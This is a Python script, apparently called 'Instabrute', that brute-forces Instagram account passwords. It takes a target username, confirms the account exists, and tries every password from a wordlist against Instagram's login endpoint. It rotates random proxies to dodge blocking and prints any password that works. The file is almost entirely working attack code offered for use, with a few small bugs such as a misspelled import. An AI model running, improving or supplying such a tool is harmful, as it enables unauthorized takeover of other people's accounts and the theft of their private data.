'''

TODO LIST:

Fix and make proxy function better

Sort code again

Add help function to all "Yes/no" questions

Add help function to "Press enter to exit input"

'''

import requets

import json

import time

import os

import random

import sys

#Help function

def Input(text):

value = ''

if sys.version\_info.major > 2:

value = input(text)

else:

value = raw\_input(text)

return str(value)

#The main class

class Instabrute():

def \_\_init\_\_(self, username, passwordsFile='pass.txt'):

self.username = username

self.CurrentProxy = ''

self.UsedProxys = []

self.passwordsFile = passwordsFile

#Check if passwords file exists

self.loadPasswords()

#Check if username exists

self.IsUserExists()

UsePorxy = Input('[\*] Do you want to use proxy (y/n): ').upper()

if (UsePorxy == 'Y' or UsePorxy == 'YES'):

self.randomProxy()

#Check if password file exists and check if he contain passwords

def loadPasswords(self):

if os.path.isfile(self.passwordsFile):

with open(self.passwordsFile) as f:

self.passwords = f.read().splitlines()

passwordsNumber = len(self.passwords)

if (passwordsNumber > 0):

print ('[\*] %s Passwords loads successfully' % passwordsNumber)

else:

print('Password file are empty, Please add passwords to it.')

Input('[\*] Press enter to exit')

exit()

else:

print ('Please create passwords file named "%s"' % self.passwordsFile)

Input('[\*] Press enter to exit')

exit()

#Choose random proxy from proxys file

def randomProxy(self):

plist = open('proxy.txt').read().splitlines()

proxy = random.choice(plist)

if not proxy in self.UsedProxys:

self.CurrentProxy = proxy

self.UsedProxys.append(proxy)

try:

print('')

print('[\*] Check new ip...')

print ('[\*] Your public ip: %s' % requests.get('http://myexternalip.com/raw', proxies={ "http": proxy, "https": proxy },timeout=10.0).text)

except Exception as e:

print ('[\*] Can\'t reach proxy "%s"' % proxy)

print('')

#Check if username exists in instagram server

def IsUserExists(self):

r = requests.get('https://www.instagram.com/%s/?\_\_a=1' % self.username)

if (r.status\_code == 404):

print ('[\*] User named "%s" not found' % username)

Input('[\*] Press enter to exit')

exit()

elif (r.status\_code == 200):

return True

#Try to login with password

def Login(self, password):

sess = requests.Session()

if len(self.CurrentProxy) > 0:

sess.proxies = { "http": self.CurrentProxy, "https": self.CurrentProxy }

#build requests headers

sess.cookies.update ({'sessionid' : '', 'mid' : '', 'ig\_pr' : '1', 'ig\_vw' : '1920', 'csrftoken' : '', 's\_network' : '', 'ds\_user\_id' : ''})

sess.headers.update({

'UserAgent':'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/54.0.2840.99 Safari/537.36',

'x-instagram-ajax':'1',

'X-Requested-With': 'XMLHttpRequest',

'origin': 'https://www.instagram.com',

'ContentType' : 'application/x-www-form-urlencoded',

'Connection': 'keep-alive',

'Accept': '\*/\*',

'Referer': 'https://www.instagram.com',

'authority': 'www.instagram.com',

'Host' : 'www.instagram.com',

'Accept-Language' : 'en-US;q=0.6,en;q=0.4',

'Accept-Encoding' : 'gzip, deflate'

})

#Update token after enter to the site

r = sess.get('https://www.instagram.com/')

sess.headers.update({'X-CSRFToken' : r.cookies.get\_dict()['csrftoken']})

#Update token after login to the site

r = sess.post('https://www.instagram.com/accounts/login/ajax/', data={'username':self.username, 'password':password}, allow\_redirects=True)

sess.headers.update({'X-CSRFToken' : r.cookies.get\_dict()['csrftoken']})

#parse response

data = json.loads(r.text)

if (data['status'] == 'fail'):

print (data['message'])

UsePorxy = Input('[\*] Do you want to use proxy (y/n): ').upper()

if (UsePorxy == 'Y' or UsePorxy == 'YES'):

print ('[$] Try to use proxy after fail.')

randomProxy() #Check that, may contain bugs

return False

#return session if password is correct

if (data['authenticated'] == True):

return sess

else:

return False

instabrute = Instabrute(Input('Please enter a username: '))

try:

delayLoop = int(Input('[\*] Please add delay between the bruteforce action (in seconds): '))

except Exception as e:

print ('[\*] Error, software use the defult value "4"')

delayLoop = 4

print ('')

for password in instabrute.passwords:

sess = instabrute.Login(password)

if sess:

print ('[\*] Login success %s' % [instabrute.username,password])

else:

print ('[\*] Password incorrect [%s]' % password)

try:

time.sleep(delayLoop)

except KeyboardInterrupt:

WantToExit = str(Input('Type y/n to exit: ')).upper()

if (WantToExit == 'Y' or WantToExit == 'YES'):

exit()

else:

continue